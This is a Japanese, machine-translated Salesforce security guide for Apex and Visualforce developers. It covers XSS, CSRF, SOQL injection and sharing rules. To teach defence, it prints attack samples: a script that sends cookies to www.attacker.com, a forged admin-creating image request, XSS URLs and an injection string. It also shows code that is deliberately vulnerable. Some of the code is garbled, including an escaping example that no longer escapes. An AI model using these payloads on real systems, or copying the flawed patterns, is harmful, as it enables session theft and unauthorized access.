この文章は Salesforce 機械翻訳システムを使用して翻訳されました。詳細はこちらをご参照ください。
英語に切り替える

Apex および Visualforce 開発のセキュリティガイドライン

カスタムアプリケーションを開発する場合のコードの脆弱性を理解し、その対策を講じます。
使用可能なインターフェース: Salesforce Classic (使用できない組織もあります)
使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition、Developer Edition、および Database.com Edition

Visualforce は、Database.com Edition では利用できません。


セキュリティとは

Apex および Visualforce ページの強力な組み合わせにより、Lightning Platform 開発者は、Salesforce にカスタム機能およびビジネスロジックを提供したり、Lightning Platform 内部で実行する新しいスタンドアロン製品を作成したりできます。ただし、プログラミング言語と同様、開発者はセキュリティ関連の不備について認識する必要があります。

Salesforce は、複数のセキュリティ防御を Lightning Platform に統合しました。ただし、不注意な開発者が組み込み防御をスキップし、アプリケーションと顧客をセキュリティ上のリスクにさらしている場合があります。開発者が Lightning Platform 上で犯す多くのコーディングエラーは、一般的な Web アプリケーションのセキュリティ脆弱性と類似していますが、一部のコーディングエラーは Apex 固有のものです。

AppExchange のアプリケーションを認証するには、説明されているセキュリティ上の弱点について開発者が学習および理解しておくことが重要です。詳細は、Salesforce Developers で Lightning Platform のセキュリティリソースのページを参照してください。https://developer.salesforce.com/page/Security

クロスサイトスクリプト (XSS)

クロスサイトスクリプト (XSS) 攻撃では、悪意のある HTML またはクライアント側スクリプトが Web アプリケーションに提供されます。Web アプリケーションには、意図せずに攻撃の犠牲になっているユーザに対して、悪意のあるスクリプトが組み込まれます。攻撃者は、Web アプリケーションに対する被害者の信頼を利用し、攻撃の媒体として Web アプリケーションを使用しています。データを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻撃されやすいといえます。Web サイトに対する攻撃は、あるユーザからの入力を別のユーザに表示することを目的としている場合は特に単純です。可能性として、掲示板、ユーザコメントスタイルの Web サイト、ニュース、またはメールアーカイブなどがあります。

たとえば、次のスクリプトがスクリプトコンポーネント、on* 行動、または Visualforce ページを使用する Lightning Platform ページに使用されているとします。
1<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>
このスクリプトブロックは、ユーザが入力した userparam の値をページに挿入します。これで攻撃者は userparam に次の値を入力することができます。
11';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

この場合、現在のページのすべての Cookie が cookie.cgi スクリプトに対する要求のクエリ文字列として www.attacker.com に送信されます。この時点で、攻撃者は被害者のセッション Cookie を持っており、彼らが被害者になりすまして Web アプリケーションに接続することができます。

攻撃者は、Web サイトまたはメールを使用して、悪意のあるスクリプトを送信できます。Web アプリケーションユーザにより攻撃者の入力が表示されるだけでなく、ブラウザによって信頼されたコンテキストで攻撃者のスクリプトを実行することもできます。こうした機能により、攻撃者はさまざまな攻撃を被害者に対して行うことができます。攻撃の範囲はウィンドウを開いたり閉じたりする単純なアクションから、データまたはセッションの Cookie を盗むなど、被害者のセッションに攻撃者が完全にアクセスできるようになる悪意に満ちた攻撃にまでわたります。

Lightning Platform 内には、複数の対 XSS 防御策が組み込まれています。たとえば、多くの出力メソッドの有害な特性を除外するフィルタが用意されています。標準クラスおよび出力メソッドを使用する開発者に対する XSS の脆弱性の脅威は、大幅に緩和されています。ただし、クリエイティブな開発者によって、デフォルトのコントロールを意図的または偶然に、エスケープする方法がいまだに見つかっています。

既存の保護

<apex> で始まるすべての標準 Visualforce コンポーネントでは、有害な特性を除外する対 XSS フィルタが設定されています。たとえば、ユーザに直接返されるユーザ指定の入力および出力を採用するため次のコードは通常 XSS の攻撃に対して脆弱ですが、<apex:outputText> タグは XSS に対して安全です。HTML タグとされるすべての文字は、リテラル形式に変換されます。たとえば、< 文字は &lt; に変換され、ユーザの画面上ではリテラル < が表示されます。
1<apex:outputText> 
2    {!$CurrentPage.parameters.userInput} 
3</apex:outputText>

Visualforce タグのエスケープの無効化

デフォルトでは、ほぼすべての Visualforce タグは XSS に対して脆弱な文字をエスケープします。省略可能な属性 escape="false" を設定することによって、この動作を無効化できます。たとえば、次の出力は、XSS の攻撃に対して脆弱です。
1<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

XSS から保護されていないプログラミング項目

以下の項目には XSS 保護が組み込まれていないため、これらのタグおよびオブジェクトを使用する場合は特別な配慮が必要です。これらの項目は、開発者がスクリプトコマンドを挿入してページをカスタマイズできるようになっています。意図的にページに追加されるコマンドに対 XSS フィルタを指定しても意味はありません。
カスタム JavaScript
独自の JavaScript を作成した場合、Lightning Platform にはユーザを保護する方法がありません。たとえば JavaScript で使用している場合、次のコードは XSS の攻撃に対して脆弱です。
1<script> 
2    var foo = location.search; 
3    document.write(foo); 
4</script>
<apex:includeScript>
<apex:includeScript> Visualforce コンポーネントにより、ページにカスタムスクリプトを追加できます。内容が安全で、ユーザが入力したデータが含まれていないことを確認してください。たとえば、次のスニペットはスクリプトテキストの値としてユーザ指定の入力が含まれているため脆弱です。タグによって指定された値は、使用する JavaScript への URL です。攻撃者が次の例内のこのパラメータに任意のデータを入力できる場合、被害者に別の Web サイトの JavaScript ファイルを使用するよう指示できます。
1<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

[数式] タグ

これらのタグの一般的なシンタックスは、{!FUNCTION()} または {!$OBJECT.ATTRIBUTE} です。たとえば、開発者がリンクにユーザのセッション ID を指定したい場合、次のシンタックスを使用してリンクを作成できます。
1<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
2Go to portal</a>
そして、この出力のようにレンダリングされます。
1<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
2SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
3/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>
数式は、関数コールとして使用したり、プラットフォームオブジェクト、ユーザの環境、システム環境、要求の環境に関する情報を含めたりすることができます。これらの数式の重要な特徴は、表示中にデータがエスケープされないという点です。式はサーバに表示されるため、JavaScript またはその他のクライアント側の技術を使用してクライアントの表示データをエスケープすることはできません。このため、数式が非システムデータ、つまり悪意のあるデータや編集可能なデータを参照し、式が、表示中に出力をエスケープする関数でラップされていない場合は危険です。一般的な脆弱性は、要求パラメータにアクセスする {!$Request.*} 式の使用によって引き起こされます。
1<html>
2    <head>
3        <title>{!$Request.title}</title>
4    </head>
5    <body>Hello world!</body>
6</html>
エスケープされない {!$Request.title} タグによっても、クロスサイトスクリプトの脆弱性が誘発されます。たとえば、次のような要求の場合
1https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
出力は次のようになります。
1<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>
サーバ側でエスケープする標準メカニズムは、SUBSTITUTE() 数式タグを使用します。例で {!$Request.*} 式の投入を指定すると、次のネストされた SUBSTITUTE() コールを使用して、前述の攻撃を回避できます。
1<html>
2    <head>
3        <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
4    </head>
5    <body>Hello world!</body>
6</html>
タグの投入およびデータの使用に応じて、エスケープが必要な文字と、エスケープされる文字は異なる可能性があります。たとえば、次のようなステートメントの場合
1<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>
リンクで使用される可能性が高いため、HTML エスケープ文字の " の代わりに同等の URL エンコードの %22 を使用して二重引用符をエスケープする必要があります。そうでない場合、次のような要求
1https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
では、次のようになります。
1<script>var ret = "foo";alert('xss');//";</script>

ret 変数は、���まれる HTML 制御文字が解釈される場合、ページの後半で追加のクライアント側エスケープが必要になる場合があります。

また、数式タグを使用して、プラットフォームオブジェクトデータを追加することもできます。データはユーザの組織から直接取得されますが、ユーザが、他のユーザ (より高い特権レベルを持つユーザなど) のコンテキストでコードを実行することを防ぐために、使用前にエスケープする必要があります。このような攻撃は同じ組織内のユーザしか実行できません。これにより、ユーザロールが弱体化し、データ監査の完全性が低下してしまいます。また、データを外部ソースからインポートした場合、悪意のあるコンテンツのスキャンが行われない場合があります。

クロスサイトリクエストフォージェリ (CSRF)

クロスサイトリクエストフォージェリ (CSRF) の脆弱性は、プログラムエラーというよりも保護対策の欠如に起因します。攻撃者が www.attacker.com に Web ページを持っているとします。この Web ページは、サイトへの通信量を増大させる重要なサービスや情報を提供するページなどです。攻撃者のページには、次のような HTML タグがあります。
1<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

つまり、攻撃者のページには、あなたの Web サイトでアクションを実行する URL が含まれています。ユーザが攻撃者の Web ページにアクセスしたときに、まだあなたの Web ページにログインしている場合、URL が取得され、アクションが実行されます。ユーザはあなたの Web ページで認証されているため、この攻撃は成功します。これは単純な例で、攻撃者の手口はより巧妙になっており、コールバック要求を生成するスクリプトを使用したり、あなたの AJAX メソッドに対して CSRF 攻撃を行うこともあります。

Lightning Platform 内では、このような攻撃を回避する対 CSRF トークンが実装されています。すべてのページにランダムな文字列が非表示形式項目として指定されています。次のページが読み込まれると、アプリケーションはこの文字列の正当性を確認し、値が予測値と一致しない限り、コマンドを実行しません。この機能によって、すべての標準コントローラおよびメソッドの使用時に攻撃から保護されます。

開発者は、リスクを意識せずに組み込み防御策をスキップしてしまう場合があります。たとえば、カスタムコントローラがオブジェクト ID を入力パラメータとして取得し、SOQL コールで使用するとします。
1<apex:page controller="myClass" action="{!init}"</apex:page>
2
3public class myClass { 
4  public void init() { 
5    Id id = ApexPages.currentPage().getParameters().get('id'); 
6    Account obj = [select id, Name FROM Account WHERE id = :id]; 
7    delete obj; 
8    return ; 
9  }
10}

開発者は独自の action メソッドを作成して、意識せずに CSRF 対策コントロールをスキップしています。id パラメータはコードで読み込まれ、使用されます。CSRF 対策トークンが読み込まれたり、検証されたりすることはありません。攻撃者の Web ページでは、CSRF 攻撃を使用してユーザをこのページに移動させ、id パラメータに値を指定する可能性があります。

このような状況に対する組み込みの防御策がないため、開発者は前例の id 変数のように、ユーザ指定のパラメータに基づいてアクションを実行するページの書き込みに注意する必要があります。回避策の 1 つは、アクションを実行する前に中間の確認ページを挿入して、ユーザが本当にそのページをコールしようとしているのかどうかを確認することです。その他の対策として、アイドルセッションのタイムアウトを短くすることや、あるサイトで認証されたまま、そのブラウザを使用して別のサイトに移動しないように、アクティブなセッションからログアウトすることをユーザに推奨することなどが考えられます。

複数の Salesforce ログインページが開かれている場合、CSRF に対する Salesforce の組み込み防御策によってエラーが表示される場合があります。ユーザが 1 つのタブで Salesforce にログインし、その後、別のタブでログインを試みると、「送信したページは、セッションに対して無効でした。」というエラーが表示されます。正常にログインするには、ログインページを更新するか、ログインをもう一度試みます。

SOQL インジェクション

他のプログラミング言語では、上記の弱点を SQL インジェクションといいます。Apex では SQL を使用しませんが、独自のデータベースクエリ言語 SOQL を使用します。SOQL は、SQL より単純で、機能が制限されています。SOQL インジェクションのリスクは SQL と比較して大幅に低くなりますが、攻撃は従来の SQL インジェクションとほぼ同じです。SQL/SOQL インジェクションではユーザの入力を取得し、これらの値を動的 SOQL クエリで使用します。入力が検証されない場合、SOQL ステートメントを事実上変更する SOQL コマンドを指定し、アプリケーションにトリックを仕掛けて意図しないコマンドを実行するようにします。

Apex での SOQL インジェクションの脆弱性

次に SOQL に対して脆弱な Apex コードおよび Visualforce の単純な例を示します。
1<apex:page controller="SOQLController" >
2    <apex:form>
3        <apex:outputText value="Enter Name" />
4        <apex:inputText value="{!name}" />
5        <apex:commandButton value="Query" action="{!query}“ />
6    </apex:form>
7</apex:page>
8public class SOQLController {
9    public String name {
10        get { return name;}
11        set { name = value;}
12    } 
13    public PageReference query() {
14        String qryString = 'SELECT Id FROM Contact WHERE ' +
15            '(IsDeleted = false and Name like \'%' + name + '%\')';
16        List<Contact> queryResult = Database.query(qryString);
17        System.debug('query result is ' + queryResult);
18        return null;
19    }
20}
この単純な例は、ロジックについて説明しています。このコードは、削除されていない取引先責任者を検索するためのものです。ユーザは name という入力値を指定します。値はユーザが指定する任意の値で、検証されません。SOQL クエリは動的に構築され、Database.query メソッドで実行されます。ユーザが正当な値を指定すると、ステートメントは次のように期待どおり実行されます。
1// User supplied value: name = Bob 
2// Query string
3SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
ただし、次のようにユーザが予期しない値を入力した場合にはどうなるでしょう。
1// User supplied value for name: test%') OR (Name LIKE '
この場合、クエリ文字列は次のようになります。
1SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

結果には削除されていない取引先責任者だけでなく、すべての取引先責任者が表示されます。SOQL インジェクションにより、脆弱なクエリの対象となるロジックを変更することができます。

SOQL インジェクションの防御策

SOQL インジェクションの攻撃を回避するには、動的 SOQL クエリを使用しないようにします。代わりに、静的クエリとバインド変数を使用します。上記の脆弱な例は、静的 SOQL を使用して書き直すことができます。
1public class SOQLController { 
2    public String name { 
3        get { return name;} 
4        set { name = value;} 
5    } 
6    public PageReference query() { 
7        String queryName = '%' + name + '%';
8        List<Contact> queryResult = [SELECT Id FROM Contact WHERE 
9           (IsDeleted = false and Name like :queryName)];
10        System.debug('query result is ' + queryResult);
11        return null; 
12    } 
13}

動的 SOQL を使用する必要がある場合、escapeSingleQuotes メソッドを使用して、ユーザ指定の入力を削除します。このメソッドは、ユーザから渡される文字列のすべての単一引用符にエスケープ文字 (\) を追加します。このメソッドにより、すべての単一引用符を、データベースコマンドではなく、囲まれた文字列として処理します。

データアクセスコントロール

Lightning Platform は、データ共有ルールを広範囲に使用します。各オブジェクトには権限があり、ユーザが読み取り、作成、編集、削除できる共有設定がある場合があります。これらの設定は、すべての標準コントローラを使用する場合に強制されます。

Apex クラスを使用する場合、組み込みユーザ権限、および項目レベルのセキュリティ制限は実行時に重視されません。デフォルトの動���として、Apex クラスにすべてのデータを読み込み、更新する機能があります。これらのルールは強制されないため、Apex を使用する開発者は、ユーザ権限、項目レベルのセキュリティ、デフォルト設定などによって通常は非表示となる機密データが不用意に公開されないようにする必要があり、特に Visualforce について注意が必要です。たとえば、次の Apex 擬似コードについて考えます。
1public class customController { 
2    public void read() { 
3        Contact contact = [SELECT id FROM Contact WHERE Name = :value]; 
4    } 
5}
この場合、現在ログインしているユーザにこれらのレコードを表示する権限がない場合でも、すべての取引先責任者レコードが検索されます。解決策として、クラスを宣言する場合、次のように修飾キーワードの with sharing を使用します。
1public with sharing class customController { 
2    . . . 
3}

with sharing キーワードを使用すると、プラットフォームはすべてのレコードに完全アクセス権限を付与するのではなく、現在ログインしているユーザのセキュリティ共有権限を使用します。